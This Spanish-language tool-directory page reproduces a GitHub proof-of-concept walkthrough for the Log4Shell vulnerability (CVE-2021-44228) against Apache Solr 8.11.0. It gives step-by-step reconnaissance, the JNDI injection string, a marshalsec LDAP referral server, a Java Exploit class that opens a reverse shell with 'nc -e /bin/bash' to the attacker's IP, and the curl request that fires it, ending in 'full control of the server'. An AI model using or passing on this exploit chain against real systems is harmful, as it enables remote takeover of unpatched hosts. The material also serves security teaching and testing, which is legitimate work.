Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228 — Vulnerabilidad Log4j RCE - CVE-2021-44228 | Kitploit
Herramientas/GitHubGitHub/lucaspdiniz/cve-2021-44228
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHublucaspdiniz/cve-2021-44228

CVE-2021-44228

Vulnerabilidad Log4j RCE - CVE-2021-44228

Ver Repositorio
144hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad Log4j - CVE-2021-44228 📗

  • Introducción

Esta vulnerabilidad fue descubierta el 9 de diciembre de 2021, identificada con CVE-2021-44228, esta falla afecta al paquete de registros de Java, generando una puntuación de gravedad (CVSS) de 10 puntos, permitiendo la ejecución remota en el host. Esta vulnerabilidad ha sido conocida por la comunidad de seguridad como LOG4SHELL.

si quieres una lista de los proveedores de software afectados por la vulnerabilidad LOG4J, revisa el siguiente repositorio;

GitHub/Log4jAttackSurface

  • Reconocimiento

Para demostrar este tipo de ataque, tenemos un host con la versión vulnerable (Apache Solr 8.11.0) del paquete log4j con Java 1.8.0_181.

Comienza con un reconocimiento básico para entender qué puertos están abiertos en esta máquina usando la herramienta nmap (o cualquier otra de tu interés).

nmap -v -p- poc.log4j - Equipo vulnerable

Nmap
En este caso, se encontraron 3 puertos abiertos. Mejoremos nuestro nmap, indicando solo los puertos abiertos y el comando -sV (Devuelve la versión de la aplicación del puerto).

nmap -v -p22,111,8983 -sV poc.log4j

version
Posiblemente tengamos un apache ejecutándose en el Puerto 8983. A continuación podemos confirmar el apache; esta instancia de Apache Solr está aprovisionada sin ningún dato. Es una instalación plana, estándar y absolutamente mínima.

  • Prueba de Concepto 📚

El principal vector de ataque para log4j está en el registro de la aplicación; si miramos la pantalla de Solr, podemos ver el registro habilitado en Dsolr.log.dir.

Ten en cuenta que el endpoint de la URL que acabas de descubrir debe ir precedido del prefijo solr/ al verlo desde la interfaz web. Esto significa que debes visitar:

http://poc.log4j:8983/solr/admin/cores

  • ¿por qué /admin/cores ❓ 💬
    Aquí encontramos la vulnerabilidad que puede ser explotada. Esta es una llamada que recibe una variable(params={}) para ser ejecutada; podemos manipular esta entrada y enviar nuestro payload. A continuación podemos ver un registro generado por apache al llamar a esta URL /admin/cores. codelog

El formato de la sintaxis habitual que aprovecha esto es el siguiente;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Esta sintaxis indica que log4j invocará funcionalidad de "JNDI", o la "Java Naming and Directory Interface" (Interfaz de Nombres y Directorios de Java). En última instancia, esto puede usarse para acceder a recursos externos, o "referencias", que es lo que se utiliza como arma en este ataque. Observa el esquema ldap://, esto indica que el objetivo se conectará a un endpoint (una ubicación controlada por el atacante, en el caso de este ataque) mediante el protocolo LDAP.

¿Dónde podríamos introducir esta sintaxis de ldap?

Puedes simplemente proporcionar variables o parámetros HTTP GET que luego serán procesados y analizados por log4j. Solo se necesita esta única línea de texto, y eso hace que esta vulnerabilidad sea extremadamente fácil de explotar.

Otros lugares donde podrías proporcionar esta sintaxis JNDI:

  • Campos de entrada, formularios de inicio de sesión de usuario y contraseña, puntos de entrada de datos dentro de las aplicaciones.
  • Cabeceras HTTP como User-Agent, X-Forwarded-For, u otras cabeceras personalizables.
  • Cualquier lugar donde el usuario proporcione datos.

¿El Host es realmente vulnerable?

En este paso, después de descubrir una versión de log4j en el host objetivo, necesitamos probarla y ver si esa versión es vulnerable.

Abrimos el puerto 6666 en el host atacante.

nc -vnlp 6666

Haz una solicitud que incluya esta sintaxis primitiva de payload JNDI como parte de los parámetros HTTP. Esto se puede hacer fácilmente con la utilidad de línea de comandos curl.

codelog

al ejecutar el payload, obtenemos la respuesta en nuestro netcat en el puerto 6666. 🙌

codelog

En este punto, has verificado que el objetivo es de hecho vulnerable al ver esta conexión capturada en tu listener de netcat. Sin embargo, hizo una solicitud LDAP... así que todo lo que tu listener de netcat pudo haber visto fueron caracteres no imprimibles (bytes de aspecto extraño). Ahora podemos aprovechar esta base para responder con un manejador LDAP real.

Exploremos 🤘

Como vimos en el curl anterior, pudimos usar el protocolo LDAP para recibir una solicitud en nuestro NC. Sin embargo, debido a que usamos otro protocolo, no podemos visualizar ni manipular la respuesta.

El siguiente paso es crear un servidor LDAP para poder manejar las solicitudes, ¡vamos!

  • Para acelerar esta POC, usaremos la utilidad ya preparada en https://github.com/mbechler/marshalsec

  • Necesitamos usar maven para usar el script marshalsec. Maven disponible en apt install maven

  • Dentro del repositorio marshalsec, comienza con maven mvn clean package -DskipTests

  • Después de compilar el jar, podemos iniciar el servidor LDAP para redirigir las solicitudes

root@kitploit:~
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

codelog

Preparando el Exploit

Dejaremos el servidor LDAP en ejecución y crearemos el script para explotar el servidor.

  • A continuación se muestra el exploit que usaremos. A continuación se muestra el exploit que usaremos. Está escrito en Java. Crea un archivo Exploit.java con la clase siguiente.
root@kitploit:~
#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • Compilemos el exploit con javac Exploit.java -source 8 -target 8. Se creará el Exploit.class.

  • Con el exploit listo, alojémoslo en el servidor Python python3 -m http.server.

  • Abramos un puerto con NC para recibir el comando bash de Java que creamos anteriormente. Creamos un nuevo nc -lnvp 9999.

  • ¡Pongamos todo a trabajar! Hagamos un CURL forzando al servidor a buscar nuestro exploit en el puerto 8000 que creamos con Python.

root@kitploit:~
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
  • ¡Listo! 👏 Tenemos control total del servidor.

Vale, pero ¿cómo sucedió todo esto? ❓

  • A continuación se muestra un ejemplo simple del flujo de explotación.

Descargar herramienta